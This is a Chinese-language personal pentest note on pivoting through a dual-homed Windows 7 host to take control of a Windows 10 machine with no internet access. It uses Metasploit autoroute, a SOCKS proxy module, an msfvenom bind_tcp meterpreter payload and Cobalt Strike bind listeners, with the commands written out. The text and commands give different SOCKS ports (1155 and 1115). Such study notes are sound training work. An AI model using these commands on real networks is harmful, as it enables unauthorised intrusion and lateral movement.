3、内网安全-代理Socks协议-路由不出网跳板通讯-CS/MSF上线

用途：个人在线笔记，有所借鉴，欢迎指正

背景：

如下图，内网中只有主机Windows7有外网网卡能出网，其余主机只有内网网卡，Windows7肯定能正常上线，但是其他主机上不了线，例如：Windows10，只能在192.168.11.0和192.168.22.0网段通信。

想法：让Windows7正常上线，然后利用其内网网卡建立和Windows10的路由，这样攻击机就可以和Windows10通讯，出网主机Windows7相当于传话人或跳板机，建立节点通信。

 代理工具：

SocksCap、Proxifier、ProxyChains等

1、网络通讯-MSF-路由添加-节点建立-无外网网卡Win10上线

(1)、生成MSF木马让肉机Windows7上线

(2)、msf添加路由：利用Windows7内网网卡建立192.168.11.0网段的路由和Windows10通信

meterpreter > run post/multi/manage/autoroute           //建立路由
meterpreter > run autoroute -p                          //查看路由

此时攻击机Kali已经能通过MSF访问Win10了，但为了让其他工具也能通讯，所以使用代理工具配置Socks代理，于是攻击机Kali上其他工具也能访问肉机Win10了。

(3)、攻击机利用MSF建立Socks代理节点，其他工具或主机想访问Win10,只需要用代理工具将攻击机设为Socks代理，1155端口。

use auxiliary/server/socks_proxy
set srvhost 0.0.0.0
set srvport 1115
run

(4)、生成木马-Win10控制上线-MSF

msfvenom -p windows/meterpreter/bind_tcp LHOST=0.0.0.0 LPORT=4444 -f exe > bd.exe
use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set rhost 0.0.0.0
set lport 4444
run

2、网络通讯-CS-Socks代理节点-无外网网卡Win10上线

(1)、攻击机利用CS建立Socks代理节点，然后用代理工具将攻击机配置为代理服务器，Socks协议对应端口，这样浏览器就能正常访问Win10了

(2)、生成后门先让Win7上线

(3)、利用如下监听器生成bind正向连接后门，在Win10上运行等待连接

(4)、在Win7会话执行命令：connect 192.168.11.129 2222 ，利用Win7主动连接Win10，成功上线